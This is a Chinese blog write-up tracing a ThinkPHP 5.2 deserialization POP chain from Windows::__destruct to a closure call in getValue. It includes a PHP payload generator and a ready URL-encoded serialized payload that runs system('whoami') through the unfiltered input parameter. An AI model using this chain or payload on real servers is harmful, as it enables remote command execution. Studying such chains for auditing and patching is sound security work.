当前位置: 首页 > news >正文

thinkphp5.2反序列化

thinkphp思路:

1、确认thinkphp版本 2、查找入口点 3、输入点分析 4、敏感函数定位 5、pop链构造 6、利用与验证

以下事例主要以thinkphp5.2为例:

1、确认thinkphp版本

方法一:网页版本直接确认

方法二: 在composer.lock文件下查看

2、查找入口点(进入某个功能模块的“入口路径)

我是通过全局查找public function index发现的,入口点是/index/index

3、输入点分析

在上述图片中可判定输入点是input,并且并没有对input有限制,这一点很危险,并且对input传入的值直接进行了反序列化。

4、敏感函数定位

方法一:数据流追踪思路(看方法下面还有没有跟方法,有继续跟,没有则切换)
方法二:从 sink 往回追(找到危险函数,然后一步步往上看可控点)
重点查找__destruct() __wakeup() __toString() __call()看這些魔术方法,或者查找一些危险函数比如system() unlink() eval() file_put_contents()之类的。
我是在查找__destruct的时候,发现这个下面有removeFiles()这个方法,继续跟进

发现他调用了一个判断file_exists()的方法,通过查找官方文档得知,这个方法会调用一个echo,因此会使用到__tostring方法,因此跟进(这里将files的值赋给了filename,且files的类型是数组)


__toString()又調用了toJson()继续跟进
它里面调用了toArray()跟进

跟进toArray()则发现getAttr()继续

跟进发现getData()getValue()$namegetAttr($key)中key的值,又在getData中将name的值给$value

继续跟进getData()发现getRealFieldName()和array_key_exists(),其中array_key_exists()是数组中是否中存在指定键名(getData()中输出了value的值)

跟进发现里面是判断严格模式开关是否开启,开启则true,因此这里是原名输出

回到getAttr()跟进getValue()(其中name value在getData()中被赋值)跟进

跟进到getValue()发现触发点$value = $closure($value, $this->data);并且根据上述分析,发现$value、this->$data、$closure都是可控的,因此可以构造类似system(whoami,[])之类的,即使第二个参数为空也可以执行
$value的值是由getData()最终返回的值
$closure的是值是由withAttr数组中取出来的
this->$data的值是由模型属性控制的

5、pop链构造

__destruct---->removeFiles()—>file_exists()—>__toString()—>toJson()—>toArray()—>getAttr()—>getValue
其次找出里面所使用过的变量之后开始写payload:

<?namespacethink\process\pipes{classWindows{private$files=[];function__construct($files){$this->files=$files;}}}namespacethink\model\concern{traitConversion{protected$visible;}traitRelationShip{private$relation;}traitAttribute{private$withAttr;private$data;}}namespacethink{abstractclassModel{usemodel\concern\RelationShip;usemodel\concern\Conversion;usemodel\concern\Attribute;function__construct($closure){$this->data=$closure;$this->relation=[];$this->visible=[];$this->withAttr=array("paper"=>'system');}}}namespacethink\model{classPivotextends\think\Model{function__construct($closure){parent::__construct($closure);}}}namespace{$pivot=newthink\model\Pivot(['paper'=>'whoami']);$windows=newthink\process\pipes\Windows([$pivot]);echourlencode(serialize($windows));}?>

6、利用与验证

urlencode之后的序列化编码:
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A21%3A%22%00think%5CModel%00relation%22%3Ba%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00visible%22%3Ba%3A0%3A%7B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22paper%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22paper%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D%7D%7D
随后在给input传入

http://www.zskr.cn/news/1440127.html

相关文章:

  • 《GNZ48十周年:在舞台与回忆中继续书写属于青春的故事》 - 博客万
  • AI教父Hinton声称AI已具意识,为何却被说成不如教皇懂AI?
  • Unity TextMeshPro 3.2.x Pre-Release版本导入避坑指南:如何正确获取并配置Emoji Sprite Asset
  • SVN 分支管理详解
  • 3个关键突破:用Blender 3MF插件重塑你的3D打印工作流
  • Claude 深度技术解析:从宪法 AI 到百万级上下文的架构革命
  • ncmdumpGUI:Windows平台NCM音频格式转换的完整集成实战应用
  • AI 圈四大术语通俗讲透:CLI、GUI、MCP、Skills,看完秒懂 2026 年终端革命
  • 【Gemini推送转化率翻倍计划】:基于17个高DAU应用的A/B测试数据,教你用3个配置参数+1个Hook拦截点重构通知生命周期
  • 2026年合肥餐饮工装/烘焙店装修/茶饮店设计/美妆店整装/奢侈品门店装修推荐——三大品牌实力榜单 - 资讯快报
  • 宇视VM实况组显示功能配置指导
  • 【信息科学与工程学】【安全领域】 第八十八篇 网络空间安全18
  • RK3568开发板Maskrom模式进入全攻略:不止UPDATE键,还有音量-和复位键怎么用?
  • 树莓派与OpenCV:构建家庭AIoT智能系统的核心技术与实践
  • 2026长春二手机哪家好?手机店哪家最靠谱?实测体验TOP3 - 博客万
  • 2026年哈尔滨系统门窗推荐榜:家装/别墅/大玻璃/德式/防渗漏/高性能/隔热/隔音/静音/抗风压系统窗源头厂家与封阳台品牌深度解析 - 品牌企业推荐师(官方)
  • Godot PCK文件解包:3分钟提取游戏资源的完整指南
  • 别再手动导入了!用SimMechanics Link实现SolidWorks模型到Simulink的自动化仿真流程
  • 终极艾尔登法环帧率解锁与游戏增强完整指南
  • 华为防火墙双机热备HRP:负载分担模式下,配置命令到底谁说了算?
  • 避坑指南:Prepar3D多屏合成失败?检查这5个NVIDIA Surround和P3D的隐藏设置
  • 2026音频转文字怎么做?最佳方法加工具推荐保姆级教程
  • LaTeX2Word-Equation:3分钟掌握学术写作的公式转换终极方案
  • 二、信号与槽
  • AI产品用户流失深度复盘:从技术炫技到可持续服务的鸿沟
  • 基于COT持仓数据构建WTI原油量化交易策略的实战指南
  • 2026年陕西钢结构工程材料源头直供:西安采购商如何锁定稳定供应链? - 优质企业观察收录
  • 软考/期末救急指南:手把手教你根据PDL伪代码快速画出PAD图与N-S图(附常见扣分点)
  • 城市规划师的数据效率工具箱:CAD的hatchgenerateboundary命令与GIS拓扑检查实战
  • 别再为Ubuntu 18.04多网卡上网发愁了!保姆级netplan配置教程,永久设置有线/无线优先级